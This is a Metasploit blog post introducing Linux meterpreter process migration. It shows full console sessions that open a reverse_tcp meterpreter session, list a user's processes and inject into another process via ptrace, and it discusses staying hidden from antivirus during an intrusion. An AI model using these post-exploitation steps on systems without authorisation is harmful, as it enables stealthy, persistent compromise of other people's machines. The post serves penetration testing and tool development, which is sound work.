This post is the eleventh in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.
Hello everyone and Happy HaXmas (again) and New Year! On this HaXmas I would like to share with all you a new feature which I'm personally very happy with. It's nothing super new and has limitations, but it's the first meterpreter feature where I've been collaborating I feel really happy of sharing it with all you: support to migrate the Linux meterpreter payload.
Before going ahead, let me clarify something, as you can read on the meterpreter github page:
For some value of "working." Meterpreter in POSIX environments is not considered stable. It does stuff, but expect occasional problems.
Unfortunately it applies to the process migration feature too :. So be careful when using linux meterpreter and this feature on your pentest! You can experience reliability problems :\ Hopefully these lines also will help to explain limitations and how to use the feature!
Requirement #1: From memory
First of all, linux migrate tries to be "imitate" the windows migrate behavior. It means there is an important requirement, migration should happen from memory, without dropping meterpreter to disk. On windows it's accomplished with the well-known OpenProcess, WriteProcessMemory, CreateRemoteThread, etc. IPC APIs. But these aren't available on Linux, where we decided to use the "ptrace" interface to modify a process memory, registers and control execution. Unfortunately, it introduces the first caveats:
- On modern Linux distributions, ptrace restrictions use to apply, so migration isn't always possible.
- Once the meterpreter code is injected in the target process, original process execution is replaced. It means the target process won't do its original task anymore, once migration has been accomplished.
That said, how to use it? On older systems, where ptrace limitations are not in use, say for example Ubuntu 10.04 (32 bits), the migration usage is straightforward. It's something like that:
- Get a meterpreter session on your target:
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp PAYLOAD => linux/x86/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 172.16.55.1 LHOST => 172.16.55.1 msf exploit(handler) > exploit [*] Started reverse handler on 172.16.55.1:4444 [*] Starting the payload handler... [*] Transmitting intermediate stager for over-sized stage...(100 bytes) [*] Sending stage (1142784 bytes) to 172.16.55.1 [*] Meterpreter session 1 opened (172.16.55.1:4444 -> 172.16.55.1:54901) at 2014-12-31 10:43:02 -0600 meterpreter > getuid Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000 meterpreter > sysinfo Computer : ubuntu OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 (i686) Architecture : i686 Meterpreter : x86/linux meterpreter >
- Use the
pscommand to find a target process. There are some things to remember:
- The session user must own the target process.
- Use interruptible (or running) processes as targets.
- The target process won't do its original task after migration.
- Remember which linux meterpreter is only available on 32 bits, so even when running on a 64 bits system, the meterpreter process will be a 32 bits one. And the migration target process must be a 32 bits one too.
meterpreter > ps -U juan Filtering on user name... Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 1894 1 gnome-keyring-d 0 juan /usr/bin/gnome-keyring-daemon --daemonize --login 1912 1220 gnome-session 0 juan gnome-session 1946 1912 ssh-agent 0 juan /usr/bin/ssh-agent /usr/bin/dbus-launch --exit-with-session gnome-session 1949 1 dbus-launch 0 juan /usr/bin/dbus-launch --exit-with-session gnome-session 1950 1 dbus-daemon 0 juan /bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session 1953 1 gconfd-2 0 juan /usr/lib/libgconf2-4/gconfd-2 1960 1 gnome-settings- 0 juan /usr/lib/gnome-settings-daemon/gnome-settings-daemon 1962 1 gvfsd 0 juan /usr/lib/gvfs/gvfsd 1970 1 gvfs-fuse-daemo 0 juan /usr/lib/gvfs//gvfs-fuse-daemon /home/juan/.gvfs 1971 1 vmtoolsd 0 juan /usr/lib/vmware-tools/sbin32/vmtoolsd -n vmusr --blockFd 3 1972 1912 polkit-gnome-au 0 juan /usr/lib/policykit-1-gnome/polkit-gnome-authentication-agent-1 1975 1912 gnome-panel 0 juan gnome-panel 1978 1912 metacity 0 juan metacity --replace 1981 1912 nm-applet 0 juan nm-applet --sm-disable 1983 1 pulseaudio 0 juan /usr/bin/pulseaudio --start --log-target=syslog 1984 1912 nautilus 0 juan nautilus 1985 1912 gnome-power-man 0 juan gnome-power-manager 1986 1912 bluetooth-apple 0 juan bluetooth-applet 1995 1983 gconf-helper 0 juan /usr/lib/pulseaudio/pulse/gconf-helper 2020 1 gvfs-gdu-volume 0 juan /usr/lib/gvfs/gvfs-gdu-volume-monitor 2025 1 bonobo-activati 0 juan /usr/lib/bonobo-activation/bonobo-activation-server --ac-activate --ior-output-fd=19 2028 1 gvfs-gphoto2-vo 0 juan /usr/lib/gvfs/gvfs-gphoto2-volume-monitor 2031 1 gvfsd-trash 0 juan /usr/lib/gvfs/gvfsd-trash --spawner :1.6 /org/gtk/gvfs/exec_spaw/0 2032 1 gvfs-afc-volume 0 juan /usr/lib/gvfs/gvfs-afc-volume-monitor 2045 1 wnck-applet 0 juan /usr/lib/gnome-panel/wnck-applet --oaf-activate-iid=OAFIID:GNOME_Wncklet_Factory --oaf-ior-fd=18 2046 1 trashapplet 0 juan /usr/lib/gnome-applets/trashapplet --oaf-activate-iid=OAFIID:GNOME_Panel_TrashApplet_Factory --oaf-ior-fd=24 2054 1 clock-applet 0 juan /usr/lib/gnome-panel/clock-applet --oaf-activate-iid=OAFIID:GNOME_ClockApplet_Factory --oaf-ior-fd=21 2055 1 notification-ar 0 juan /usr/lib/gnome-panel/notification-area-applet --oaf-activate-iid=OAFIID:GNOME_NotificationAreaApplet_Factory --oaf-ior-fd=30 2058 1 indicator-apple 0 juan /usr/lib/indicator-applet/indicator-applet-session --oaf-activate-iid=OAFIID:GNOME_FastUserSwitchApplet_Factory --oaf-ior-fd=36 2059 1 indicator-apple 0 juan /usr/lib/indicator-applet/indicator-applet --oaf-activate-iid=OAFIID:GNOME_IndicatorApplet_Factory --oaf-ior-fd=42 2075 1 gvfsd-metadata 0 juan /usr/lib/gvfs/gvfsd-metadata 2076 1 indicator-me-se 0 juan /usr/lib/indicator-me/indicator-me-service 2078 1 indicator-messa 0 juan /usr/lib/indicator-messages/indicator-messages-service 2097 1 indicator-sessi 0 juan /usr/lib/indicator-session/indicator-session-service 2098 1 indicator-appli 0 juan /usr/lib/indicator-application/indicator-application-service 2099 1 indicator-sound 0 juan /usr/lib/indicator-sound/indicator-sound-service 2109 1 gvfsd-burn 0 juan /usr/lib/gvfs/gvfsd-burn --spawner :1.6 /org/gtk/gvfs/exec_spaw/1 2112 1 gnome-terminal 0 juan gnome-terminal 2114 1 gnome-screensav 0 juan gnome-screensaver 2115 2112 gnome-pty-helpe 0 juan gnome-pty-helper 2116 2112 bash 0 juan bash 2147 1912 gdu-notificatio 0 juan /usr/lib/gnome-disk-utility/gdu-notification-daemon 2159 1912 evolution-alarm 0 juan /usr/lib/evolution/2.28/evolution-alarm-notify 2160 1912 python 0 juan python /usr/share/system-config-printer/applet.py 2168 1912 update-notifier 0 juan update-notifier 2310 2112 bash 0 juan bash 2745 1 notify-osd 0 juan /usr/lib/notify-osd/notify-osd 2846 2112 bash 0 juan bash 2989 1 gvim 0 juan gvim 2991 2112 bash 0 juan bash 3378 1 [gedit] <defunct> 0 juan 5965 2846 gdb 0 juan gdb /bin/ls 17323 2991 [dummy] <defunct> 0 juan 18063 2310 msf.elf 0 juan ./msf.elf 18084 1 gcalctool 0 juan gcalctool 23799 1 [gedit] <defunct> 0 juan
On the case above the "gcalctool" process looks like a good candidate for this DEMO. Of course, wouldn't be the best candidate on a real intrusion, since probably the calculator won't have a long live. The easy way to use the feature is jut to provide the target PID:
meterpreter > migrate 18084 [*] Migrating to 18084 [*] Migration completed successfully. meterpreter > getpid Current pid: 18084 meterpreter > getuid Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000 meterpreter >
Requirement #2: Reuse the original socket
As a second requirement, in order to imitate the windows behavior the meterpreter session socket will be reused. On Windows a socket can be duplicate on a remote process with WSADuplicateSocket. But such API doesn't exist on Linux as far as I know, you cannot dup() a socket on a process which isn't a child. Luckily UNIX domain sockets can be used with one caveat, they will use filesystem (which breaks the first requirement).
The most important reason for "in-memory" migration is to remain stealthy, avoiding security products such as antivirus monitoring filesystem. Hopefully, antivirus won't catch an UNIX Domain socket used just to share a socket as malicious, what makes us think it is not so bad! By default the UNIX domain socket will be written to "/tmp", but you can specify an alternate directory with an optional second argument which the command accepts:
meterpreter > migrate -h Usage: migrate <pid> [writable_path] Migrates the server instance to another process. NOTE: Any open channels or other dynamic state will be lost. meterpreter > migrate 2075 /home/juan/.pulse [*] Migrating to 2075 [*] Migration completed successfully. meterpreter > getpid Current pid: 2075
And that's all for this HaXmas and introduction to linux meterpreter migration! As always, remember which the meterpreter code is also open source if you're interested on the details! And there is a lot of work to do with the Linux meterpreter, improving its reliability and features. It's a really interesting code to work with, with lot of awaiting joys . So, if you interested in collaborate with Metasploit it is definitely a good option to look at!
Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.